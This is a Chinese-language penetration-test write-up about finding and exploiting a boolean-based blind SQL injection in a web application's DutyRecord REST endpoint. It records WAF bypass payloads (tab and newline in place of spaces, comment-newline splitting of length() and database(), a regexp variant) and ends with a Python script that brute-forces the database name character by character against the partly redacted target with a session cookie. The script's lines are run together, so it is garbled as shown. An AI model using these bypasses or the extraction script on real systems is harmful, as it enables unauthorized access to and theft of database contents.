一、测试发现一个布尔型注入点，测试过程如下：

1、原始请求

2、输入’or’1’like’1

3、输入’or’1’like’2

4、初步判断存在布尔型sql盲注，然后开始判断库名长度：

5、首先想到可能处理了空格，手工简单测试下：

6、发现：

空格or（不拦截）

or空格（拦截）

or/**/（拦截）

or%09 %0a %0b %0c %0d(不拦截)

 

二、简单fuzz下字符：

1、or (偶数个～) 也可以bypass

2、奇数个～执行失败：

3、进一步获取库名长度：

4、还是被拦截，猜测是处理了length()或database()函数，简单尝试下：

5、length()被处理掉了，fuzz一下：

6、利用注释换行符组合如length%23%0a()即可绕过：

7、这里还是报错，简单测试了下，把空格键换一下即可解决：

8、继续判断库名长度：

9、database()也被处理掉了，同样的方法可绕过：

10、最终得出数据库长度为7，如下图：

11、获取库名

12、substr未拦截，借助intruder跑一下：

注出第一个字符为l

 

三、写个脚本拖一下完整库名:

•  

import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'database = ''for l in range(1,8):       for payload in payloads:              burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0&registerDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)              burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}              burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}              resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)              if "2018-10-22" in resp.content:                     database += payload                     print '[*]success\t' + database              else:                     print '[*]dumping......'print '[*]current database is:\t' + database

 

借助regexp正则匹配也可以实现，payload：

'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1

成功注出第一个字符：l，以此类推。